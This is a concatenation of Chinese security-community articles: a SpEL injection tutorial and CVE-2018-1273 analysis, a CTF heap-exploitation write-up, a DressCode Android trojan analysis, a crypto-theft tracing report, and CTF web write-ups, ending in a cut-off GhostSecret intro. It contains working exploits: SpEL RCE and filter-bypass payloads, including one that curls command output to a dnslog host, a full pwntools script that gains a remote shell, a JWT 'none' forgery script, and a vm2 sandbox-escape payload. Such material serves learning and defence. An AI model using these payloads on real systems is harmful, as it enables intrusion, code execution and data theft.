@Value("${spring.mail.personname}")
private String personname;
@Value("#{systemProperties['person.region'] }")
private String Locale;
//...
}
### 4、Spel 用法
#### 4.1 Class Expression
new
可以通过new在Spel中实例化对象，类需要通过全限定名进行访问。
表达式内容:
new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start()
T()
表达式内容:
T(java.lang.Runtime).getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")
#### 4.2 Bean Reference
如果已经配置上下文，则可以通过@从表中查找JavaBean
#### 4.3 Variable Reference
通过`EvaluationContext#setVariable()`定义变量，可以在表达式中进行引用。
* 引用变量: #variableName
* 引用根对象: #root
* 引用上下文对象: #this
如果把`context`的`root object`设置为一个对象时，在获取的时候可以省略root对象前缀
并且在执行表达式时，Spel会在内部使用反射从根对象中获取/设置属性值。
#### 4.4 User defined function
用户可以在Spel中注册自定义方法，将该方法注册到`StandardEvaluationContext#registerFunction()`中
下面的`EncodeUtils#Encode2Base64`则是我自定义的方法
## Spel注入
java在不指定`EvaluationContext`的情况下默认采用的是`StandardEvaluationContext`，而它包含了Spel的所有功能，在未过滤输入的情况下就可能造成任意命令执行。
结合上面的知识点，我们可以使用如下一些语句进行Spel注入。
### 1、new对象
payload:
new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start()
### 2、反射
Payload:
this.getClass().forName("java.lang.Runtime").getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")
效果如下
### 3、T()运算
payload:
T(java.lang.Runtime).getRuntime().exec("open -a Calculator.app")
* * *
一些常用的绕过payload:
1、String类动态生成字符
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112)))
当然`concat(T(java.lang.Character).toString(xxx))`也可以替换为`new
java.lang.String(new byte[]{xxx,xxx})`
2、反射异变
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl test.ww4ply.dnslog.cn/`ifconfig '\n' '-'`"})}
## Spel注入漏洞分析
主要分享两个最经典的Spel注入漏洞:
* Spring Data Commons
* Spring Data Rest
* Spring Security Oauth2
本次主要介绍Spring Data Commons
### Spring Data Commons RCE(CVE-2018-1273)
影响版本: `Spring Data Commons <= 2.0.5.RELEASE`
顺带一提一个比较好的习惯，当开源漏洞的补丁出来时，可以第一时间看看github上的代码与上个版本的差异，看一下开发者是如何修补漏洞的，因为很多著名的漏洞都是对补丁的二次绕过，例如Fastjson、Struts2、Weblogic。因此研究代码差异，不仅有助于我们更精准的定位、研究漏洞，更有可能成为下一个漏洞的突破口。
在github上，我们将2.0.6和2.0.5版本代码进行比对
由于是Spel注入漏洞，因此直接定位到了漏洞点`MapDataBinder#setPropertyValue()`
#### 环境部署
可以直接在我的github上下载
<https://github.com/t4rrega/spring-data-web-example.git>
调试的方式启动jar包
java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar spring-data-web-example-2.0.0.RELEASE.jar
配置IDEA远程调试环境
在MapDataBinder#setPropertyValue()处设置断点
debug启动项目
发送数据，触发断点(可以参考后文中的burpsuite数据包内容)
程序断在该方法中，该方法首先通过`isWritableProperty()`校验`propertyName`参数是否为Controller设置的Form映射对象中的成员变量，随后调用了`parseExpression()`来设置需要解析的表达式，最终通过`expression.setValue()`完成了对表达式的解析。
那么想要执行任意表达式，首选需要知道`isWritableProperty()`如何校验的参数。
跟入该方法
`isWritableProperty()`中调用了`getPropertyPath()`对`propertyName`进行了检测，如果该值不为null，则直接return
跟入`getPropertyPath()`方法
在`getPropertyPath()`方法中，只有两行，分别是:
* 使用正则将包含方括号在内的特殊字符进行过滤
* 判断剩下的值，是否为type里的属性
而type是Controller用于接收参数的类
因此整个绕过过程便是将这个类的某个字段加上[xxx]来构造恶意的Spel表达式即可实现Spel注入
还有一点需要注意:
`Spring Data Commons 2.0.5`版本中，添加了拒绝Spel表达式的关键语句。
所以需要使用反射的方式来构造最终payload
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator.app")
顺带一提，实例化`MapDataBinder`对象的位置在`ProxyingHandlerMethodArgumentResolver`
实例化后，并调用了bind方法，将`request.getParameterMap()`作为参数。也就是说这里就是漏洞原始的触发点
至于为什么`ProxyingHandlerMethodArgumentResolver`又被调用起来，可以查看一下官方文档，简单来说就是Form接口的问题
流程如上，过程比较简单，我们再来回顾一下补丁。
漏洞形成的原因就是当用户在开发中利用了`Spring-data-commons`中的特性对用户的输入参数进行自动匹配时候，会将用户提交的form表单中的参数名作为Spel表达式执行。
修复方式也主要是通过替换`SimpleEvaluationContext为StandardEvaluationContext`完成。
`SimpleEvaluationContext`的权限则小的多，只支持一些map结构，通用的`jang.lang.Runtime,java.lang.ProcessBuilder`都已经不再支持，详情可查看`SimpleEvaluationContext`的实现。 | 社区文章 |
看了Lilac和Whitzard的wp发现没有这道题，补充一下
题目的漏洞在于buy的时候没有check号长度，导致可以多分配出一个chunk，同时用塞人函数加几个人，达到堆块重叠的效果
填满tcache后用塞人函数和check
ticket函数爆破得到libc，构造堆块重叠改在tcache中的fd指向__malloc_hook，改为one_gadget得到shell
from pwn import *
import sys
if len(sys.argv) < 2:
p = process("./bus")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
elf = ELF("./bus")
else:
p = remote("58.20.46.150",43860)
libc = ELF("./libc.so.6")
elf = ELF("./bus")
def buy(des,number,free = False):
p.sendlineafter("What do you want to do:","1")
p.sendafter("Where do you want to go: ",des)
if free:
p.recvuntil("OK,more people huh?\n")
p.sendlineafter("How many people: ",str(number))
p.recvuntil("Done!\n")
def select(des):
p.sendlineafter("What do you want to do:","2")
p.sendafter("Where is your destination:",des)
info = p.recvline()
if info != "No such place!\n":
return True
else:
return False
def go():
p.sendlineafter("What do you want to do:","3")
p.recvuntil("OK, let's go!\n")
code_base = 0x555555554000
def debugf():
gdb.attach(p,"b *{b1}\nb *{b2}".format(b1=hex(code_base+0xBEF),b2=hex(code_base+0xC37)))
def bruteforce():
known = ""
for i in range(6):
#debugf()
if i == 0:
select(str(i+1) + "\n")
go()
#debugf()
buy(str(i+1) + "\n",(i+1))
buy("0\n",0xe00+(5-i)-i*(0x90)+0x18)
select(str(i+2) + "\n")
go()
if i == 0:
for j in range(0x40,256):
if select(chr(j) + "\n"):
known = chr(j) + known
log.success("known:"+known)
#raw_input()
break
else:
for j in range(256):
if j == 10:
continue
else:
payload = chr(j) + known + "\n"
if select(payload):
known = chr(j) + known
log.success("known:"+known)
#raw_input()
break
return u64(known.ljust(8,"\x00"))
context.log_level = "debug"
context.terminal = ["tmux","splitw","-v"]
for i in range(33):
buy(str(i).ljust(8,"\x00") + p64(0) + (p64(0) + p64(0x91))*6 + "\n",i)
buy("0\n",0)
#debugf()
for i in range(20,27,1):
select(str(i) + "\n")
go()
#debugf()
for i in range(7):
buy(chr(i+20)+"\n",i+20)
#debugf()
leak_addr = bruteforce()
print hex(leak_addr)
offset = 0x7ffff7dcfca0 - 0x7ffff79e4000
libc.address = leak_addr - offset
log.success("libc_base:"+hex(libc.address))
buy("7\n",7)
buy("0\n",0x90-0x30)
select("8\n")
go()
select("\n")
go()
#debugf()
malloc_hook = libc.symbols["__malloc_hook"]
one_gadget = libc.address + 0x10a38c
buy("a"*0x20 + p64(0) + p64(0x91) + p64(malloc_hook) + "\n",7)
buy("aaaaaaaaaaaaaaaaaaaaaa\n",8)
buy(p64(one_gadget) + "\n",10000)
p.sendlineafter("What do you want to do:","1")
p.interactive() | 社区文章 |
# 【技术分享】内网穿透——Android木马进入高级攻击阶段
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**一． 概述**
近日，360烽火实验室发现有数千个样本感染了一种名为“DressCode”的恶意代码，该恶意代码利用实下流行的SOCKS代理反弹技术突破内网防火墙限制，窃取内网数据。这种通过代理穿透内网绕过防火墙的手段在PC上并不新鲜，然而以手机终端为跳板实现对企业内网的渗透还是首见[1]。
SOCKS是一种网络传输协议，SOCKS协议位于传输层与应用层之间，所以能代理TCP和UDP的网络流量，SOCKS主要用于客户端与外网服务器之间数据的传递，那么SOCKS是怎么工作的呢，举个例子：A想访问B站点，但是A与B之间有一个防火墙阻止A直接访问B站点，在A的网络里面有一个SOCKS代理C，C可以直接访问B站点，于是A通知C访问B站点，于是C就为A和B建立起信息传输的桥梁。其工作流程大致分为以下5步：
（1） 代理方向代理服务器发出请求信息。
（2） 代理服务器应答。
（3） 代理方需要向代理服务器发送目的IP和端口。
（4） 代理服务器与目的进行连接。
（5） 连接成功后将需要将代理方发出的信息传到目的方，将目的方发出的信息传到需要代理方。代理完成。
由于SOCKS协议是一种在服务端与客户端之间转发TCP会话的协议，所以可以轻易的穿透企业应用层防火墙；它独立于应用层协议，支持多种不同的应用层服务，如TELNET，FTP，HTTP等。SOCKS协议通常采用1080端口进行通信，这样可以有效避开普通防火墙的过滤，实现墙内墙外终端的连接[2]。
**二． 地域分布**
360互联网安全中心数据显示，截止目前，“DressCode”恶意代码传播量已达24万之多，在世界范围内分布相当广泛，感染了该恶意代码的手机在全世界的分布情况如下图所示：
图1 “DressCode”木马在世界各地的分布情况
数据显示，已有200多个国家的用户手机安装了带有“DressCode”恶意代码的应用，该恶意代码大多寄宿在时下流行的手机游戏中，其扩散能力很强，其中美国、俄罗斯，德国、法国等欧美发达国家属于重灾区，中国的形势也不容乐观，企业内网安全正在遭受前所未有的挑战。
**三． 详细分析**
该木马的主要攻击过程如下[3]：
（1） 木马运行时主动连接到攻击者主机（SOCKS客户端），建立一个与攻击者对话的代理通道。
（2） 作为SOCKS服务端的木马根据攻击者传来的目标内网服务器的IP地址和端口，连接目标应用服务器。
（3） 木马在攻击者和应用服务器之间转发数据，进行通信。
当木马安装上手机后，首先会连接C&C服务器，连接成功后，那么木马就与C&C服务器建立了一个对话通道， 木马会读取C&C服务器传送过来的指令，
当木马收到以“CREATE”开头的指令后，就会连接攻击者主机上的SOCKS客户端，攻击者与处于内网中的木马程序建立了信息传输的通道了。
SOCKS服务端读取SOCKS客户端发送的数据，这些数据包括目标内网应用服务器的IP地址和端口、客户端指令。如下图所示：
图2 SOCKS服务端获取客户端指令等信息
客户端传递过来的命令主要有CONNECT与BIND两种指令。
**（一） CONNECT指令**
当SOCKS客户端要与目标应用服务器建立连接时，首先会发送一个CONNECT指令，SOCKS服务端接收到CONNECT指令后，会根据读取到的IP地址和端口连接目标应用服务器，连接成功后，会将请求结果发送给SOCKS客户端，此时目标应用服务器与SOCKS服务端，SOCKS服务端与SOCKS客户端都建立起了会话通道，木马作为数据中转站，可以在攻击者和应用服务器转发任意数据了，其转发过程如图所示：
图3 木马转发数据过程
SOCKS协议对数据转发的实现代码如下：
图4 木马转发数据的代码
那么通过这两条已连接的数据传输通道如何窃取数据的呢？以HTTP协议为例，假设攻击者要访问位于内网的HTTP服务器，那么攻击者首先通过SOCKS客户端将HTTP请求数据发送给SOCKS服务端，SOCKS服务端读取到这些数据后，马上将这些数据转发给应用服务器，应用服务器收到HTTP请求后，将HTTP应答数据发送给木马，木马检查到应答数据，马上转发给攻击者，这样攻击者就通过木马完成了对内网HTTP服务器的访问。
**（二）BIND指令**
当攻击者需要访问内网FTP应用服务器时，
SOCKS代理客户端需要向服务端发送BIND指令。SOCKS协议支持采用PORT模式传输FTP数据，PORT模式[4]传输数据的主要过程如下：
FTP客户端首先和FTP服务器建立控制连接，用来发送命令，客户端需要接收数据的时候在这个通道上发送PORT命令。FTP服务器必须和客户端建立一个新的连接用来传送数据。PORT命令包含了客户端用什么端口接收数据。在传送数据的时候，服务端通过自己的端口（默认是20）连接至客户端的指定端口发送数据。
SOCKS代理服务端接收到BIND指令后，木马会利用本地IP和匿名端口生成一个服务端Socket
A，并通过建立的数据转发通道，将本地IP和端口发送给攻击者；等待目标应用服务器连接（多为FTP服务器）。
**（三）攻击FTP服务器的过程**
攻击者想要窃取内网FTP服务器数据时，会首先发送CONNECT指令，处于内网中的SOCKS服务端接收到此命令后，会试图和FTP服务器建立一个控制流，如果FTP服务器响应此请求，最终FTP控制流建立；攻击者建立新的到SOCKS服务端的TCP连接，并在新的TCP连接上发送BIND请求，SOCKS
服务端接收到BIND请求后，创建新的Socket，等待目标FTP服务器的连接，并向SOCKS客户端发送第一个BIND响应包；SOCKS客户端收到第一个BIND响应包后，攻击者通过FTP控制流向FTP服务器发送PORT命令，通知FTP服务器主动建立到Socket
A的连接；FTP服务器收到PORT命令，主动连接到Socket
A；SOCKS服务端接收到来自FTP服务器的连接请求，向SOCKS客户端发送第二个响应包，然后SOCKS服务端开始转发数据流。这样攻击者就通过木马完成了对内网文件服务器的数据窃取。
以上攻击过程如下图所示：
图4黑客攻击FTP服务器，窃取数据的过程
**四．总结建议**
“DressCode”恶意代码穿透能力强，地域分布广泛，已成为对内网安全的一种新的潜在威胁，减除接入企业内网的智能终端设备所带来的安全威胁客不容缓。针对此种情况，企业应做好如下两点防范措施：
（1） 严格限制不可信的智能终端设备接入公司内部网络，对要接入公司内网的终端设备进行身份认证。
（2） 智能终端设备不应该与企业内部服务器处于同一个局域网段内。
与此同时，手机用户应该提高安全意识，要从正规的安卓应用商店下载应用，不要安装来历不明的应用软件。
**引用**
[1] DressCode and its Potential Impact for Enterprises:
<http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/>
[2] SOCKS: A protocol for TCP proxy across firewalls:
<http://ftp.icm.edu.pl/packages/socks/socks4/SOCKS4.protocol>
[3] Fast Introduction to SOCKS Proxy:
<http://etherealmind.com/fast-introduction-to-socks-proxy/>
[4] FTP协议分析:
<http://kendy.blog.51cto.com/147692/33480>
**360烽火实验室**
360烽火实验室，致力于Android病毒分析、移动黑产研究、移动威胁预警以及Android漏洞挖掘等移动安全领域及Android安全生态的深度研究。作为全球顶级移动安全生态研究实验室，360烽火实验室在全球范围内首发了多篇具备国际影响力的Android木马分析报告和Android木马黑色产业链研究报告。实验室在为360手机卫士、360手机急救箱、360手机助手等提供核心安全数据和顽固木马清除解决方案的同时，也为上百家国内外厂商、应用商店等合作伙伴提供了移动应用安全检测服务，全方位守护移动安全。 | 社区文章 |
# 分布式资本创始人4200万美金资产被盗分析及追踪工作
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 事件背景
2022年11月23日，分布式资本创始人沈波发推文称，价值4200万美元的个人钱包资产被盗，其中包含 3800 万枚 USDC和1606 枚
ETH，在纽约时间 11 月 10 日凌晨被盗。被盗资产为个人资金，与分布式相关基金无关。目前已当地报案，FBI 与律师均已介入。
零时科技安全团队监控到此消息后，及时进行追踪分析。
注：沈波先生为以太坊早期投资人及以太坊早期布道者。分布式资本成立于 2015 年，是中国首家专注于投资区块链技术相关企业的风险投资企业。
## 事件分析
本次安全事件的受害者沈波先生的钱包地址为：
0x6be85603322df6DC66163eF5f82A9c6ffBC5e894
攻击者钱包地址为：
0x24b93eed37e6ffe948a9bdf365d750b52adcbc2e
被盗的38,233,180 枚USDC通过transfer函数直接转出，交易hash为：
0xf6ff8f672e41b8cfafb20881f792022f6573bd9fbf4f00acaeea97bbc2f6e4f7
被盗的1606 枚ETH交易hash为：
0xbc9ce2f860ee2af834662782d30452a97eb3654ecaf9c4d00291d1233912a3f5
随后攻击者将38,233,180 枚USDC兑换为DAI，交易hash为：
0x04c43669c930a82f9f6fb31757c722e2c9cb4305eaa16baafce378aa1c09e98e
将兑换的38,100,000枚DAI发送到了另一个地址，暂未转移，地址如下：
0x66f62574ab04989737228d18c3624f7fc1edae14
通过分析，发现接收DAI的地址
0x66f62574ab04989737228d18c3624f7fc1edae14
收到一笔来自
0x077d360f11d220e4d5d831430c81c26c9be7c4a4地址的0.1594个ETH手续费，而且通过零时科技虚拟币追溯分析平台标记0x077d360f11d220e4d5d831430c81c26c9be7c4a4为ChangeNow兑换平台地址，是攻击者用来掩盖交易痕迹的行为。
目前38,100,000枚DAI和1606枚ETH还在攻击者地址未转移，零时科技安全团队已经加入监控列表，持续跟踪资产转移动态。
## 事件总结
首先此次资产被盗事件是通过受害者钱包直接转移，所以疑似钱包私钥泄漏，然后攻击者及时将USDC兑换成DAI，目前暂时无法通过中心化机构进行冻结此笔资产。
**接下来针对此次事件的资产追踪可做的工作如下：**
第一、通过ChangeNow平台获取攻击者兑换ETH手续费的钱包地址进行溯源找到线索；
第二、同步实时监控攻击者地址的资产转移进行追踪；
第三、通过链上交易与攻击者取得联系；
零时科技安全团队会继续跟踪此次事件，也再次呼吁大家保管好自己私钥，提高安全意识，注意钱包和资产安全，有任何资产丢失的情况，第一时间与我们取得联系。
### 资金被盗怎么办？
如果发生无意的授权操作，在资金未被盗之前，尽快将钱包资金转出，并且取消授权；如果已经发生授权之后的资金被盗或者私钥被盗资金转移情况，请立即联系零时科技安全团队进行资产追踪。
### 我们提供的钱包安全服务
**资产追踪**
零时科技自主研发的虚拟币追溯分析平台，基于公开的链上数据及区块链安全情报，通过大数据、图运算、机器学习等技术，使得整个虚拟币链上追溯可自动化运行，并可视化展示，方便快捷的发现虚拟币流向及实名标记，有效协助案件侦查，打击虚拟币犯罪。
**钱包安全审计**
零时科技安全团队凭借十余年传统网络安全攻防实战经验，无论是软件钱包还是硬件钱包均有丰富的安全审计经验，通过黑盒与灰盒的结合方式，渗透测试内容覆盖面广，
可针对钱包源码进行安全审计，针对安全问题提出详细的修复方案，安全加固或最佳安全实践，以杜绝未来可能出现的安全风险。 | 社区文章 |
# 2020 虎符网络安全竞赛 web Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
4月20日 周日 天气晴
这周有虎符的安全竞赛，
又是菜鸡自闭的一天
真神仙打架。大佬们都tql。。
一共三个web题目，在这里总结一下。。
## babyupload
打开页面，发现给出了源码：
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(../|..\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(../|..\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
读代码，发现这是一个存在上传和下载文件的功能。
获取flag的条件：
1.`$_SESSION['username'] ==='admin')`
1. 存在`/var/babyctf/success.txt`
我们一步一步来：
使`$_SESSION['username']
==='admin')`，我们发现没有什么代码和修改这个变量值的，但是在代码开头设置了保存session文件的路径：
session_save_path("/var/babyctf/");
session_start();
通过session文件的命名规则，可以推断session文件为：`/var/babyctf/sess_XXXXX(为PHPSESSID的值)`。。
我们尝试读取一下，session文件：
post：
direction=download&filename=sess_a41c14e052970b6a0af81246c69b552d
内容为：
<0x08>usernames:5:"guest";
猜测我们只要上传一个session文件内容为：
<0x08>usernames:5:"admin";
并且命名为：`sess_XXXXXXXXXX`，然后设置`PHPSESSID`就可以使得`$_SESSION['username']
==='admin')`成立了。
分析上传代码发现：
发现如果不上传`attr`参数，`dir_path`会直接拼接上传的文件名+`"_".hash_file("sha256",$_FILES['up_file']['tmp_name']);`
如果把上传文件名设置为`sess`，并且不传递`attr`参数，就可以得到`/var/babyctf/sess_XXXXXXXXX`，这就可以当成session文件。。
`hash_file("sha256",$_FILES['up_file']['tmp_name'])`，虽然`tmp_name`是不可控的随机值，但是`hash_file()`是根据文件内容得到的hash值。就是说文件内容可控，那么文件名就是可控的了。
在本地创建一个文件名为`sess`:
在本地写一个上传页面：
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form action="题目地址" method="post" enctype="multipart/form-data">
<input type="text" name="attr" />
<br>
<input type="text" name="direction" />
<br>
<input type="file" name="up_file" />
<br>
<input type="submit" />
</body>
</html>
抓包上传文件：
获取上传文件的`hash_file`值
<?php
echo hash_file("sha256","./sess");
?>
输出：
432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
尝试读一下`sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4`看是否写成功：
然后就差`success.txt`了。
可以把`attr`参数设置为`success.txt`。
可以将`success.txt`变成一个目录。从而绕过了限制。
然后将`PHPSESSID`修改为`432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4`,就可以得到flag。
## easy_login
打开是一个登陆框的界面，通过题目的描述知道是一个nodejs写的网站。
查看`/static/js/app.js`源代码发现：
看注释静态映射到了根目录，猜测可以读取源码，访问app.js,controller.js 可以看到源码
app.js
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');
const crypto = require('crypto');
const { resolve } = require('path');
const rest = require('./rest');
const controller = require('./controller');
const PORT = 80;
const app = new Koa();
app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];
app.use(static(resolve(__dirname, '.')));
app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));
app.use(session({key: 'sses:aok', maxAge: 86400000}, app));
// parse request body:
app.use(bodyParser());
// prepare restful service
app.use(rest.restify());
// add controllers:
app.use(controller());
app.listen(PORT);
console.log(`app started at port ${PORT}...`);
然后测试出还有`/controllers/api.js`
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
代码审计一下，发现是jwt加密验证。
一些jwt库支持none算法，将算法修改为none，即没有签名算法。当alg字段被修改为none时，后端若是支持none算法，后端不会进行签名验证。
做法：将header中的alg字段可被修改为none，去掉JWT中的signature数据（仅剩header + ‘.’ + payload + ‘.’）
然后直接提交到服务端去即可。。
只要想办法令secret为undefined就可以使用none签名校验了。。
js的一些特性：
可以让`secectid`为`0.1`来进行绕过。
先注册一个账号，抓取一下jwt进行解密。。[jwt解密链接](https://jwt.io/)
网站上的不能将`alg`设置为`none`，用脚本进行加密：
#encoding=utf-8
import base64
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
print b64urlencode("{"typ":"JWT","alg":"none"}") +
'.' + b64urlencode("{"secretid":"0.1","username":"admin","password":"123456"}") + '.'
脚本生成jwt加密字符串`eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6IjAuMDEiLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYifQ.`
然后尝试admin登陆，进行抓包：
发现登陆成功，放包
发现成功使用admin登陆了，然后点击getflag发现没有反应。。
然后再次抓包得到flag..
## just_escape
打开页面发现：
访问`run.php`得到源码：
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>
天真的我，以为是php命令执行绕过。。。
尝试了一下`phpinfo()`发现：
再看了看提示，发现不是php。
仔细看了下代码 `eval`里的`code`这个细节猜测应该是js写的，php是假象
验证后发现，code执行的确实是js的代码。。。
科学上网发现了这么一篇文章：<https://www.anquanke.com/post/id/170708?display=mobile>
访问`/run.php?code=Error().stack`得到:
Error
at vm.js:1:1
at ContextifyScript.Script.runInContext (vm.js:59:29)
at VM.run (/usr/src/app/node_modules/vm2/lib/main.js:219:62)
at /usr/src/app/server.js:51:33
at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
at /usr/src/app/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/usr/src/app/node_modules/express/lib/router/index.js:335:12)
发现题目设置的模块`vm.js`，然后发现对应的[vm2](https://github.com/patriksimek/vm2)仓库里已经有很多
escape 的 issue 了
找到了这个 <https://github.com/patriksimek/vm2/issues/225>
直接输入代码：
发现返回了一个键盘的页面。。
测试发现过滤了一些关键字：单引号、双引号、exec、prototype等等，会被拦截，然后返回这个键盘页面。。。
测试发现可以通过十六进制编码来进行关键字绕过：
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x63x6fx6ex73x74x72x75x63x74x6fx72`](`x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`x67x65x74x5fx70x72x6fx63x65x73x73`](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))[`x65x78x65x63x53x79x6ex63`](`whoami`).toString();}})()
修改要执行的命令，就能得到flag了
payload:
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x63x6fx6ex73x74x72x75x63x74x6fx72`](`x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`x67x65x74x5fx70x72x6fx63x65x73x73`](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))[`x65x78x65x63x53x79x6ex63`](`cat%20/flag`).toString();}})()
## 总结
这次的web题目，学到了一些东西，做题最重要的还是细心。多查阅文档，不能轻易的放弃，要有耐心。。。。
这次比赛师傅们都tql了，神仙打架 | 社区文章 |
# GhostSecret事件分析：在全球范围内发动攻击窃取数据
|
##### 译文声明
本文是翻译文章，文章来源：https://securingtomorrow.mcafee.com/
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
